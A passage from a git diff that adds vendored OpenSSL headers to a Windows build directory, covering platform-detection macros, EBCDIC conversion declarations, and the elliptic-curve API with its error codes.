defined(OPENSSL_SYSNAME_UWIN) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_WIN32_UWIN +#else +# if defined(__CYGWIN32__) || defined(OPENSSL_SYSNAME_CYGWIN32) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_WIN32_CYGWIN +# else +# if defined(_WIN32) || defined(OPENSSL_SYSNAME_WIN32) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_WIN32 +# endif +# if defined(OPENSSL_SYSNAME_WINNT) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_WINNT +# endif +# if defined(OPENSSL_SYSNAME_WINCE) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_WINCE +# endif +# endif +#endif + +/* Anything that tries to look like Microsoft is "Windows" */ +#if defined(OPENSSL_SYS_WIN32) || defined(OPENSSL_SYS_WINNT) || defined(OPENSSL_SYS_WINCE) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_WINDOWS +# ifndef OPENSSL_SYS_MSDOS +# define OPENSSL_SYS_MSDOS +# endif +#endif + +/* DLL settings. This part is a bit tough, because it's up to the application + implementor how he or she will link the application, so it requires some + macro to be used. */ +#ifdef OPENSSL_SYS_WINDOWS +# ifndef OPENSSL_OPT_WINDLL +# if defined(_WINDLL) /* This is used when building OpenSSL to indicate that + DLL linkage should be used */ +# define OPENSSL_OPT_WINDLL +# endif +# endif +#endif + +/* -------------------------------- OpenVMS -------------------------------- */ +#if defined(__VMS) || defined(VMS) || defined(OPENSSL_SYSNAME_VMS) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_VMS +# if defined(__DECC) +# define OPENSSL_SYS_VMS_DECC +# elif defined(__DECCXX) +# define OPENSSL_SYS_VMS_DECC +# define OPENSSL_SYS_VMS_DECCXX +# else +# define OPENSSL_SYS_VMS_NODECC +# endif +#endif + +/* --------------------------------- OS/2 ---------------------------------- */ +#if defined(__EMX__) || defined(__OS2__) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_OS2 +#endif + +/* --------------------------------- Unix ---------------------------------- */ +#ifdef OPENSSL_SYS_UNIX +# if defined(linux) || defined(__linux__) || defined(OPENSSL_SYSNAME_LINUX) +# define OPENSSL_SYS_LINUX +# endif +# ifdef OPENSSL_SYSNAME_MPE +# define OPENSSL_SYS_MPE +# endif +# ifdef OPENSSL_SYSNAME_SNI +# define OPENSSL_SYS_SNI +# endif +# ifdef OPENSSL_SYSNAME_ULTRASPARC +# define OPENSSL_SYS_ULTRASPARC +# endif +# ifdef OPENSSL_SYSNAME_NEWS4 +# define OPENSSL_SYS_NEWS4 +# endif +# ifdef OPENSSL_SYSNAME_MACOSX +# define OPENSSL_SYS_MACOSX +# endif +# ifdef OPENSSL_SYSNAME_MACOSX_RHAPSODY +# define OPENSSL_SYS_MACOSX_RHAPSODY +# define OPENSSL_SYS_MACOSX +# endif +# ifdef OPENSSL_SYSNAME_SUNOS +# define OPENSSL_SYS_SUNOS +#endif +# if defined(_CRAY) || defined(OPENSSL_SYSNAME_CRAY) +# define OPENSSL_SYS_CRAY +# endif +# if defined(_AIX) || defined(OPENSSL_SYSNAME_AIX) +# define OPENSSL_SYS_AIX +# endif +#endif + +/* --------------------------------- VOS ----------------------------------- */ +#ifdef OPENSSL_SYSNAME_VOS +# define OPENSSL_SYS_VOS +#endif + +/* ------------------------------- VxWorks --------------------------------- */ +#ifdef OPENSSL_SYSNAME_VXWORKS +# define OPENSSL_SYS_VXWORKS +#endif + +/** + * That's it for OS-specific stuff + *****************************************************************************/ + + +/* Specials for I/O an exit */ +#ifdef OPENSSL_SYS_MSDOS +# define OPENSSL_UNISTD_IO +# define OPENSSL_DECLARE_EXIT extern void exit(int); +#else +# define OPENSSL_UNISTD_IO OPENSSL_UNISTD +# define OPENSSL_DECLARE_EXIT /* declared in unistd.h */ +#endif + +/* Definitions of OPENSSL_GLOBAL and OPENSSL_EXTERN, to define and declare + certain global symbols that, with some compilers under VMS, have to be + defined and declared explicitely with globaldef and globalref. + Definitions of OPENSSL_EXPORT and OPENSSL_IMPORT, to define and declare + DLL exports and imports for compilers under Win32. These are a little + more complicated to use. Basically, for any library that exports some + global variables, the following code must be present in the header file + that declares them, before OPENSSL_EXTERN is used: + + #ifdef SOME_BUILD_FLAG_MACRO + # undef OPENSSL_EXTERN + # define OPENSSL_EXTERN OPENSSL_EXPORT + #endif + + The default is to have OPENSSL_EXPORT, OPENSSL_IMPORT and OPENSSL_GLOBAL + have some generally sensible values, and for OPENSSL_EXTERN to have the + value OPENSSL_IMPORT. +*/ + +#if defined(OPENSSL_SYS_VMS_NODECC) +# define OPENSSL_EXPORT globalref +# define OPENSSL_IMPORT globalref +# define OPENSSL_GLOBAL globaldef +#elif defined(OPENSSL_SYS_WINDOWS) && defined(OPENSSL_OPT_WINDLL) +# define OPENSSL_EXPORT extern __declspec(dllexport) +# define OPENSSL_IMPORT extern __declspec(dllimport) +# define OPENSSL_GLOBAL +#else +# define OPENSSL_EXPORT extern +# define OPENSSL_IMPORT extern +# define OPENSSL_GLOBAL +#endif +#define OPENSSL_EXTERN OPENSSL_IMPORT + +/* Macros to allow global variables to be reached through function calls when + required (if a shared library version requvres it, for example. + The way it's done allows definitions like this: + + // in foobar.c + OPENSSL_IMPLEMENT_GLOBAL(int,foobar) = 0; + // in foobar.h + OPENSSL_DECLARE_GLOBAL(int,foobar); + #define foobar OPENSSL_GLOBAL_REF(foobar) +*/ +#ifdef OPENSSL_EXPORT_VAR_AS_FUNCTION +# define OPENSSL_IMPLEMENT_GLOBAL(type,name) \ + extern type _hide_##name; \ + type *_shadow_##name(void) { return &_hide_##name; } \ + static type _hide_##name +# define OPENSSL_DECLARE_GLOBAL(type,name) type *_shadow_##name(void) +# define OPENSSL_GLOBAL_REF(name) (*(_shadow_##name())) +#else +# define OPENSSL_IMPLEMENT_GLOBAL(type,name) OPENSSL_GLOBAL type _shadow_##name +# define OPENSSL_DECLARE_GLOBAL(type,name) OPENSSL_EXPORT type _shadow_##name +# define OPENSSL_GLOBAL_REF(name) _shadow_##name +#endif + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/ebcdic.h b/winstuff/openssl/ebcdic.h new file mode 100644 index 0000000..6d65afc --- /dev/null +++ b/winstuff/openssl/ebcdic.h @@ -0,0 +1,19 @@ +/* crypto/ebcdic.h */ + +#ifndef HEADER_EBCDIC_H +#define HEADER_EBCDIC_H + +#include + +/* Avoid name clashes with other applications */ +#define os_toascii _openssl_os_toascii +#define os_toebcdic _openssl_os_toebcdic +#define ebcdic2ascii _openssl_ebcdic2ascii +#define ascii2ebcdic _openssl_ascii2ebcdic + +extern const unsigned char os_toascii[256]; +extern const unsigned char os_toebcdic[256]; +void *ebcdic2ascii(void *dest, const void *srce, size_t count); +void *ascii2ebcdic(void *dest, const void *srce, size_t count); + +#endif diff --git a/winstuff/openssl/ec.h b/winstuff/openssl/ec.h new file mode 100644 index 0000000..8bc2a23 --- /dev/null +++ b/winstuff/openssl/ec.h @@ -0,0 +1,526 @@ +/* crypto/ec/ec.h */ +/* + * Originally written by Bodo Moeller for the OpenSSL project. + */ +/* ==================================================================== + * Copyright (c) 1998-2003 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * + * Portions of the attached software ("Contribution") are developed by + * SUN MICROSYSTEMS, INC., and are contributed to the OpenSSL project. + * + * The Contribution is licensed pursuant to the OpenSSL open source + * license provided above. + * + * The elliptic curve binary polynomial software is originally written by + * Sheueling Chang Shantz and Douglas Stebila of Sun Microsystems Laboratories. + * + */ + +#ifndef HEADER_EC_H +#define HEADER_EC_H + +#include + +#ifdef OPENSSL_NO_EC +#error EC is disabled. +#endif + +#include +#include +#ifndef OPENSSL_NO_DEPRECATED +#include +#endif + +#ifdef __cplusplus +extern "C" { +#elif defined(__SUNPRO_C) +# if __SUNPRO_C >= 0x520 +# pragma error_messages (off,E_ARRAY_OF_INCOMPLETE_NONAME,E_ARRAY_OF_INCOMPLETE) +# endif +#endif + + +#ifndef OPENSSL_ECC_MAX_FIELD_BITS +# define OPENSSL_ECC_MAX_FIELD_BITS 661 +#endif + +typedef enum { + /* values as defined in X9.62 (ECDSA) and elsewhere */ + POINT_CONVERSION_COMPRESSED = 2, + POINT_CONVERSION_UNCOMPRESSED = 4, + POINT_CONVERSION_HYBRID = 6 +} point_conversion_form_t; + + +typedef struct ec_method_st EC_METHOD; + +typedef struct ec_group_st + /* + EC_METHOD *meth; + -- field definition + -- curve coefficients + -- optional generator with associated information (order, cofactor) + -- optional extra data (precomputed table for fast computation of multiples of generator) + -- ASN1 stuff + */ + EC_GROUP; + +typedef struct ec_point_st EC_POINT; + + +/* EC_METHODs for curves over GF(p). + * EC_GFp_simple_method provides the basis for the optimized methods. + */ +const EC_METHOD *EC_GFp_simple_method(void); +const EC_METHOD *EC_GFp_mont_method(void); +const EC_METHOD *EC_GFp_nist_method(void); + +/* EC_METHOD for curves over GF(2^m). + */ +const EC_METHOD *EC_GF2m_simple_method(void); + + +EC_GROUP *EC_GROUP_new(const EC_METHOD *); +void EC_GROUP_free(EC_GROUP *); +void EC_GROUP_clear_free(EC_GROUP *); +int EC_GROUP_copy(EC_GROUP *, const EC_GROUP *); +EC_GROUP *EC_GROUP_dup(const EC_GROUP *); + +const EC_METHOD *EC_GROUP_method_of(const EC_GROUP *); +int EC_METHOD_get_field_type(const EC_METHOD *); + +int EC_GROUP_set_generator(EC_GROUP *, const EC_POINT *generator, const BIGNUM *order, const BIGNUM *cofactor); +const EC_POINT *EC_GROUP_get0_generator(const EC_GROUP *); +int EC_GROUP_get_order(const EC_GROUP *, BIGNUM *order, BN_CTX *); +int EC_GROUP_get_cofactor(const EC_GROUP *, BIGNUM *cofactor, BN_CTX *); + +void EC_GROUP_set_curve_name(EC_GROUP *, int nid); +int EC_GROUP_get_curve_name(const EC_GROUP *); + +void EC_GROUP_set_asn1_flag(EC_GROUP *, int flag); +int EC_GROUP_get_asn1_flag(const EC_GROUP *); + +void EC_GROUP_set_point_conversion_form(EC_GROUP *, point_conversion_form_t); +point_conversion_form_t EC_GROUP_get_point_conversion_form(const EC_GROUP *); + +unsigned char *EC_GROUP_get0_seed(const EC_GROUP *); +size_t EC_GROUP_get_seed_len(const EC_GROUP *); +size_t EC_GROUP_set_seed(EC_GROUP *, const unsigned char *, size_t len); + +int EC_GROUP_set_curve_GFp(EC_GROUP *, const BIGNUM *p, const BIGNUM *a, const BIGNUM *b, BN_CTX *); +int EC_GROUP_get_curve_GFp(const EC_GROUP *, BIGNUM *p, BIGNUM *a, BIGNUM *b, BN_CTX *); +int EC_GROUP_set_curve_GF2m(EC_GROUP *, const BIGNUM *p, const BIGNUM *a, const BIGNUM *b, BN_CTX *); +int EC_GROUP_get_curve_GF2m(const EC_GROUP *, BIGNUM *p, BIGNUM *a, BIGNUM *b, BN_CTX *); + +/* returns the number of bits needed to represent a field element */ +int EC_GROUP_get_degree(const EC_GROUP *); + +/* EC_GROUP_check() returns 1 if 'group' defines a valid group, 0 otherwise */ +int EC_GROUP_check(const EC_GROUP *group, BN_CTX *ctx); +/* EC_GROUP_check_discriminant() returns 1 if the discriminant of the + * elliptic curve is not zero, 0 otherwise */ +int EC_GROUP_check_discriminant(const EC_GROUP *, BN_CTX *); + +/* EC_GROUP_cmp() returns 0 if both groups are equal and 1 otherwise */ +int EC_GROUP_cmp(const EC_GROUP *, const EC_GROUP *, BN_CTX *); + +/* EC_GROUP_new_GF*() calls EC_GROUP_new() and EC_GROUP_set_GF*() + * after choosing an appropriate EC_METHOD */ +EC_GROUP *EC_GROUP_new_curve_GFp(const BIGNUM *p, const BIGNUM *a, const BIGNUM *b, BN_CTX *); +EC_GROUP *EC_GROUP_new_curve_GF2m(const BIGNUM *p, const BIGNUM *a, const BIGNUM *b, BN_CTX *); + +/* EC_GROUP_new_by_curve_name() creates a EC_GROUP structure + * specified by a curve name (in form of a NID) */ +EC_GROUP *EC_GROUP_new_by_curve_name(int nid); +/* handling of internal curves */ +typedef struct { + int nid; + const char *comment; + } EC_builtin_curve; +/* EC_builtin_curves(EC_builtin_curve *r, size_t size) returns number + * of all available curves or zero if a error occurred. + * In case r ist not zero nitems EC_builtin_curve structures + * are filled with the data of the first nitems internal groups */ +size_t EC_get_builtin_curves(EC_builtin_curve *r, size_t nitems); + + +/* EC_POINT functions */ + +EC_POINT *EC_POINT_new(const EC_GROUP *); +void EC_POINT_free(EC_POINT *); +void EC_POINT_clear_free(EC_POINT *); +int EC_POINT_copy(EC_POINT *, const EC_POINT *); +EC_POINT *EC_POINT_dup(const EC_POINT *, const EC_GROUP *); + +const EC_METHOD *EC_POINT_method_of(const EC_POINT *); + +int EC_POINT_set_to_infinity(const EC_GROUP *, EC_POINT *); +int EC_POINT_set_Jprojective_coordinates_GFp(const EC_GROUP *, EC_POINT *, + const BIGNUM *x, const BIGNUM *y, const BIGNUM *z, BN_CTX *); +int EC_POINT_get_Jprojective_coordinates_GFp(const EC_GROUP *, const EC_POINT *, + BIGNUM *x, BIGNUM *y, BIGNUM *z, BN_CTX *); +int EC_POINT_set_affine_coordinates_GFp(const EC_GROUP *, EC_POINT *, + const BIGNUM *x, const BIGNUM *y, BN_CTX *); +int EC_POINT_get_affine_coordinates_GFp(const EC_GROUP *, const EC_POINT *, + BIGNUM *x, BIGNUM *y, BN_CTX *); +int EC_POINT_set_compressed_coordinates_GFp(const EC_GROUP *, EC_POINT *, + const BIGNUM *x, int y_bit, BN_CTX *); + +int EC_POINT_set_affine_coordinates_GF2m(const EC_GROUP *, EC_POINT *, + const BIGNUM *x, const BIGNUM *y, BN_CTX *); +int EC_POINT_get_affine_coordinates_GF2m(const EC_GROUP *, const EC_POINT *, + BIGNUM *x, BIGNUM *y, BN_CTX *); +int EC_POINT_set_compressed_coordinates_GF2m(const EC_GROUP *, EC_POINT *, + const BIGNUM *x, int y_bit, BN_CTX *); + +size_t EC_POINT_point2oct(const EC_GROUP *, const EC_POINT *, point_conversion_form_t form, + unsigned char *buf, size_t len, BN_CTX *); +int EC_POINT_oct2point(const EC_GROUP *, EC_POINT *, + const unsigned char *buf, size_t len, BN_CTX *); + +/* other interfaces to point2oct/oct2point: */ +BIGNUM *EC_POINT_point2bn(const EC_GROUP *, const EC_POINT *, + point_conversion_form_t form, BIGNUM *, BN_CTX *); +EC_POINT *EC_POINT_bn2point(const EC_GROUP *, const BIGNUM *, + EC_POINT *, BN_CTX *); +char *EC_POINT_point2hex(const EC_GROUP *, const EC_POINT *, + point_conversion_form_t form, BN_CTX *); +EC_POINT *EC_POINT_hex2point(const EC_GROUP *, const char *, + EC_POINT *, BN_CTX *); + +int EC_POINT_add(const EC_GROUP *, EC_POINT *r, const EC_POINT *a, const EC_POINT *b, BN_CTX *); +int EC_POINT_dbl(const EC_GROUP *, EC_POINT *r, const EC_POINT *a, BN_CTX *); +int EC_POINT_invert(const EC_GROUP *, EC_POINT *, BN_CTX *); + +int EC_POINT_is_at_infinity(const EC_GROUP *, const EC_POINT *); +int EC_POINT_is_on_curve(const EC_GROUP *, const EC_POINT *, BN_CTX *); +int EC_POINT_cmp(const EC_GROUP *, const EC_POINT *a, const EC_POINT *b, BN_CTX *); + +int EC_POINT_make_affine(const EC_GROUP *, EC_POINT *, BN_CTX *); +int EC_POINTs_make_affine(const EC_GROUP *, size_t num, EC_POINT *[], BN_CTX *); + + +int EC_POINTs_mul(const EC_GROUP *, EC_POINT *r, const BIGNUM *, size_t num, const EC_POINT *[], const BIGNUM *[], BN_CTX *); +int EC_POINT_mul(const EC_GROUP *, EC_POINT *r, const BIGNUM *, const EC_POINT *, const BIGNUM *, BN_CTX *); + +/* EC_GROUP_precompute_mult() stores multiples of generator for faster point multiplication */ +int EC_GROUP_precompute_mult(EC_GROUP *, BN_CTX *); +/* EC_GROUP_have_precompute_mult() reports whether such precomputation has been done */ +int EC_GROUP_have_precompute_mult(const EC_GROUP *); + + + +/* ASN1 stuff */ + +/* EC_GROUP_get_basis_type() returns the NID of the basis type + * used to represent the field elements */ +int EC_GROUP_get_basis_type(const EC_GROUP *); +int EC_GROUP_get_trinomial_basis(const EC_GROUP *, unsigned int *k); +int EC_GROUP_get_pentanomial_basis(const EC_GROUP *, unsigned int *k1, + unsigned int *k2, unsigned int *k3); + +#define OPENSSL_EC_NAMED_CURVE 0x001 + +typedef struct ecpk_parameters_st ECPKPARAMETERS; + +EC_GROUP *d2i_ECPKParameters(EC_GROUP **, const unsigned char **in, long len); +int i2d_ECPKParameters(const EC_GROUP *, unsigned char **out); + +#define d2i_ECPKParameters_bio(bp,x) ASN1_d2i_bio_of(EC_GROUP,NULL,d2i_ECPKParameters,bp,x) +#define i2d_ECPKParameters_bio(bp,x) ASN1_i2d_bio_of_const(EC_GROUP,i2d_ECPKParameters,bp,x) +#define d2i_ECPKParameters_fp(fp,x) (EC_GROUP *)ASN1_d2i_fp(NULL, \ + (char *(*)())d2i_ECPKParameters,(fp),(unsigned char **)(x)) +#define i2d_ECPKParameters_fp(fp,x) ASN1_i2d_fp(i2d_ECPKParameters,(fp), \ + (unsigned char *)(x)) + +#ifndef OPENSSL_NO_BIO +int ECPKParameters_print(BIO *bp, const EC_GROUP *x, int off); +#endif +#ifndef OPENSSL_NO_FP_API +int ECPKParameters_print_fp(FILE *fp, const EC_GROUP *x, int off); +#endif + +/* the EC_KEY stuff */ +typedef struct ec_key_st EC_KEY; + +/* some values for the encoding_flag */ +#define EC_PKEY_NO_PARAMETERS 0x001 +#define EC_PKEY_NO_PUBKEY 0x002 + +EC_KEY *EC_KEY_new(void); +EC_KEY *EC_KEY_new_by_curve_name(int nid); +void EC_KEY_free(EC_KEY *); +EC_KEY *EC_KEY_copy(EC_KEY *, const EC_KEY *); +EC_KEY *EC_KEY_dup(const EC_KEY *); + +int EC_KEY_up_ref(EC_KEY *); + +const EC_GROUP *EC_KEY_get0_group(const EC_KEY *); +int EC_KEY_set_group(EC_KEY *, const EC_GROUP *); +const BIGNUM *EC_KEY_get0_private_key(const EC_KEY *); +int EC_KEY_set_private_key(EC_KEY *, const BIGNUM *); +const EC_POINT *EC_KEY_get0_public_key(const EC_KEY *); +int EC_KEY_set_public_key(EC_KEY *, const EC_POINT *); +unsigned EC_KEY_get_enc_flags(const EC_KEY *); +void EC_KEY_set_enc_flags(EC_KEY *, unsigned int); +point_conversion_form_t EC_KEY_get_conv_form(const EC_KEY *); +void EC_KEY_set_conv_form(EC_KEY *, point_conversion_form_t); +/* functions to set/get method specific data */ +void *EC_KEY_get_key_method_data(EC_KEY *, + void *(*dup_func)(void *), void (*free_func)(void *), void (*clear_free_func)(void *)); +void EC_KEY_insert_key_method_data(EC_KEY *, void *data, + void *(*dup_func)(void *), void (*free_func)(void *), void (*clear_free_func)(void *)); +/* wrapper functions for the underlying EC_GROUP object */ +void EC_KEY_set_asn1_flag(EC_KEY *, int); +int EC_KEY_precompute_mult(EC_KEY *, BN_CTX *ctx); + +/* EC_KEY_generate_key() creates a ec private (public) key */ +int EC_KEY_generate_key(EC_KEY *); +/* EC_KEY_check_key() */ +int EC_KEY_check_key(const EC_KEY *); + +/* de- and encoding functions for SEC1 ECPrivateKey */ +EC_KEY *d2i_ECPrivateKey(EC_KEY **a, const unsigned char **in, long len); +int i2d_ECPrivateKey(EC_KEY *a, unsigned char **out); +/* de- and encoding functions for EC parameters */ +EC_KEY *d2i_ECParameters(EC_KEY **a, const unsigned char **in, long len); +int i2d_ECParameters(EC_KEY *a, unsigned char **out); +/* de- and encoding functions for EC public key + * (octet string, not DER -- hence 'o2i' and 'i2o') */ +EC_KEY *o2i_ECPublicKey(EC_KEY **a, const unsigned char **in, long len); +int i2o_ECPublicKey(EC_KEY *a, unsigned char **out); + +#ifndef OPENSSL_NO_BIO +int ECParameters_print(BIO *bp, const EC_KEY *x); +int EC_KEY_print(BIO *bp, const EC_KEY *x, int off); +#endif +#ifndef OPENSSL_NO_FP_API +int ECParameters_print_fp(FILE *fp, const EC_KEY *x); +int EC_KEY_print_fp(FILE *fp, const EC_KEY *x, int off); +#endif + +#define ECParameters_dup(x) ASN1_dup_of(EC_KEY,i2d_ECParameters,d2i_ECParameters,x) + +#ifndef __cplusplus +#if defined(__SUNPRO_C) +# if __SUNPRO_C >= 0x520 +# pragma error_messages (default,E_ARRAY_OF_INCOMPLETE_NONAME,E_ARRAY_OF_INCOMPLETE) +# endif +# endif +#endif + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_EC_strings(void); + +/* Error codes for the EC functions. */ + +/* Function codes. */ +#define EC_F_COMPUTE_WNAF 143 +#define EC_F_D2I_ECPARAMETERS 144 +#define EC_F_D2I_ECPKPARAMETERS 145 +#define EC_F_D2I_ECPRIVATEKEY 146 +#define EC_F_ECPARAMETERS_PRINT 147 +#define EC_F_ECPARAMETERS_PRINT_FP 148 +#define EC_F_ECPKPARAMETERS_PRINT 149 +#define EC_F_ECPKPARAMETERS_PRINT_FP 150 +#define EC_F_ECP_NIST_MOD_192 203 +#define EC_F_ECP_NIST_MOD_224 204 +#define EC_F_ECP_NIST_MOD_256 205 +#define EC_F_ECP_NIST_MOD_521 206 +#define EC_F_EC_ASN1_GROUP2CURVE 153 +#define EC_F_EC_ASN1_GROUP2FIELDID 154 +#define EC_F_EC_ASN1_GROUP2PARAMETERS 155 +#define EC_F_EC_ASN1_GROUP2PKPARAMETERS 156 +#define EC_F_EC_ASN1_PARAMETERS2GROUP 157 +#define EC_F_EC_ASN1_PKPARAMETERS2GROUP 158 +#define EC_F_EC_EX_DATA_SET_DATA 211 +#define EC_F_EC_GF2M_MONTGOMERY_POINT_MULTIPLY 208 +#define EC_F_EC_GF2M_SIMPLE_GROUP_CHECK_DISCRIMINANT 159 +#define EC_F_EC_GF2M_SIMPLE_GROUP_SET_CURVE 195 +#define EC_F_EC_GF2M_SIMPLE_OCT2POINT 160 +#define EC_F_EC_GF2M_SIMPLE_POINT2OCT 161 +#define EC_F_EC_GF2M_SIMPLE_POINT_GET_AFFINE_COORDINATES 162 +#define EC_F_EC_GF2M_SIMPLE_POINT_SET_AFFINE_COORDINATES 163 +#define EC_F_EC_GF2M_SIMPLE_SET_COMPRESSED_COORDINATES 164 +#define EC_F_EC_GFP_MONT_FIELD_DECODE 133 +#define EC_F_EC_GFP_MONT_FIELD_ENCODE 134 +#define EC_F_EC_GFP_MONT_FIELD_MUL 131 +#define EC_F_EC_GFP_MONT_FIELD_SET_TO_ONE 209 +#define EC_F_EC_GFP_MONT_FIELD_SQR 132 +#define EC_F_EC_GFP_MONT_GROUP_SET_CURVE 189 +#define EC_F_EC_GFP_MONT_GROUP_SET_CURVE_GFP 135 +#define EC_F_EC_GFP_NIST_FIELD_MUL 200 +#define EC_F_EC_GFP_NIST_FIELD_SQR 201 +#define EC_F_EC_GFP_NIST_GROUP_SET_CURVE 202 +#define EC_F_EC_GFP_SIMPLE_GROUP_CHECK_DISCRIMINANT 165 +#define EC_F_EC_GFP_SIMPLE_GROUP_SET_CURVE 166 +#define EC_F_EC_GFP_SIMPLE_GROUP_SET_CURVE_GFP 100 +#define EC_F_EC_GFP_SIMPLE_GROUP_SET_GENERATOR 101 +#define EC_F_EC_GFP_SIMPLE_MAKE_AFFINE 102 +#define EC_F_EC_GFP_SIMPLE_OCT2POINT 103 +#define EC_F_EC_GFP_SIMPLE_POINT2OCT 104 +#define EC_F_EC_GFP_SIMPLE_POINTS_MAKE_AFFINE 137 +#define EC_F_EC_GFP_SIMPLE_POINT_GET_AFFINE_COORDINATES 167 +#define EC_F_EC_GFP_SIMPLE_POINT_GET_AFFINE_COORDINATES_GFP 105 +#define EC_F_EC_GFP_SIMPLE_POINT_SET_AFFINE_COORDINATES 168 +#define EC_F_EC_GFP_SIMPLE_POINT_SET_AFFINE_COORDINATES_GFP 128 +#define EC_F_EC_GFP_SIMPLE_SET_COMPRESSED_COORDINATES 169 +#define EC_F_EC_GFP_SIMPLE_SET_COMPRESSED_COORDINATES_GFP 129 +#define EC_F_EC_GROUP_CHECK 170 +#define EC_F_EC_GROUP_CHECK_DISCRIMINANT 171 +#define EC_F_EC_GROUP_COPY 106 +#define EC_F_EC_GROUP_GET0_GENERATOR 139 +#define EC_F_EC_GROUP_GET_COFACTOR 140 +#define EC_F_EC_GROUP_GET_CURVE_GF2M 172 +#define EC_F_EC_GROUP_GET_CURVE_GFP 130 +#define EC_F_EC_GROUP_GET_DEGREE 173 +#define EC_F_EC_GROUP_GET_ORDER 141 +#define EC_F_EC_GROUP_GET_PENTANOMIAL_BASIS 193 +#define EC_F_EC_GROUP_GET_TRINOMIAL_BASIS 194 +#define EC_F_EC_GROUP_NEW 108 +#define EC_F_EC_GROUP_NEW_BY_CURVE_NAME 174 +#define EC_F_EC_GROUP_NEW_FROM_DATA 175 +#define EC_F_EC_GROUP_PRECOMPUTE_MULT 142 +#define EC_F_EC_GROUP_SET_CURVE_GF2M 176 +#define EC_F_EC_GROUP_SET_CURVE_GFP 109 +#define EC_F_EC_GROUP_SET_EXTRA_DATA 110 +#define EC_F_EC_GROUP_SET_GENERATOR 111 +#define EC_F_EC_KEY_CHECK_KEY 177 +#define EC_F_EC_KEY_COPY 178 +#define EC_F_EC_KEY_GENERATE_KEY 179 +#define EC_F_EC_KEY_NEW 182 +#define EC_F_EC_KEY_PRINT 180 +#define EC_F_EC_KEY_PRINT_FP 181 +#define EC_F_EC_POINTS_MAKE_AFFINE 136 +#define EC_F_EC_POINTS_MUL 138 +#define EC_F_EC_POINT_ADD 112 +#define EC_F_EC_POINT_CMP 113 +#define EC_F_EC_POINT_COPY 114 +#define EC_F_EC_POINT_DBL 115 +#define EC_F_EC_POINT_GET_AFFINE_COORDINATES_GF2M 183 +#define EC_F_EC_POINT_GET_AFFINE_COORDINATES_GFP 116 +#define EC_F_EC_POINT_GET_JPROJECTIVE_COORDINATES_GFP 117 +#define EC_F_EC_POINT_INVERT 210 +#define EC_F_EC_POINT_IS_AT_INFINITY 118 +#define EC_F_EC_POINT_IS_ON_CURVE 119 +#define EC_F_EC_POINT_MAKE_AFFINE 120 +#define EC_F_EC_POINT_MUL 184 +#define EC_F_EC_POINT_NEW 121 +#define EC_F_EC_POINT_OCT2POINT 122 +#define EC_F_EC_POINT_POINT2OCT 123 +#define EC_F_EC_POINT_SET_AFFINE_COORDINATES_GF2M 185 +#define EC_F_EC_POINT_SET_AFFINE_COORDINATES_GFP 124 +#define EC_F_EC_POINT_SET_COMPRESSED_COORDINATES_GF2M 186 +#define EC_F_EC_POINT_SET_COMPRESSED_COORDINATES_GFP 125 +#define EC_F_EC_POINT_SET_JPROJECTIVE_COORDINATES_GFP 126 +#define EC_F_EC_POINT_SET_TO_INFINITY 127 +#define EC_F_EC_PRE_COMP_DUP 207 +#define EC_F_EC_PRE_COMP_NEW 196 +#define EC_F_EC_WNAF_MUL 187 +#define EC_F_EC_WNAF_PRECOMPUTE_MULT 188 +#define EC_F_I2D_ECPARAMETERS 190 +#define EC_F_I2D_ECPKPARAMETERS 191 +#define EC_F_I2D_ECPRIVATEKEY 192 +#define EC_F_I2O_ECPUBLICKEY 151 +#define EC_F_O2I_ECPUBLICKEY 152 + +/* Reason codes. */ +#define EC_R_ASN1_ERROR 115 +#define EC_R_ASN1_UNKNOWN_FIELD 116 +#define EC_R_BUFFER_TOO_SMALL 100 +#define EC_R_D2I_ECPKPARAMETERS_FAILURE 